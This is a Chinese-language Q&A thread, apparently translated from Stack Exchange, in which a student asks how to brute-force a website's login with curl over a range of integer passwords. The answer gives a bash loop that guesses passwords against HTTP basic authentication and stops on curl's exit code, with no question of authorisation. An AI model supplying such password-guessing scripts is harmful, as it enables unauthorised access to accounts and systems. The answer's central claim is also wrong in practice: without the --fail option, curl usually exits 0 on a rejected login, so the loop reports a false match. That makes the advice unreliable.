如何从终端登录网站?


8

作为计算机科学的学生,我现在正在学习使用命令行。我需要使用蛮力登录网站,知道用户名并且密码是一定范围内的整数。到目前为止,这是我所拥有的,但似乎没有用。

 for i in {2000..3000}; do curl http://admin:$i@mywebsite.com/link; done

我该如何进行?

Answers:


6

一旦i找到正确的方法,您的例程所缺少的是某种退出方法。为此,您可以查看curl给出的退出代码:

for i in {2000..3000}
do 
  curl http://admin:$i@mywebsite.com/link
  if [ "$?" -eq 0 ]; then
    echo Found "$i"
    break
  fi
done

curl如果一切正确,则退出值为0,可以在程序停止后通过检查特殊变量直接检查退出值$?。使用man curl和搜索EXIT CODE可以看到所有不同的东西curl,它的退出代码可以告诉您。

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.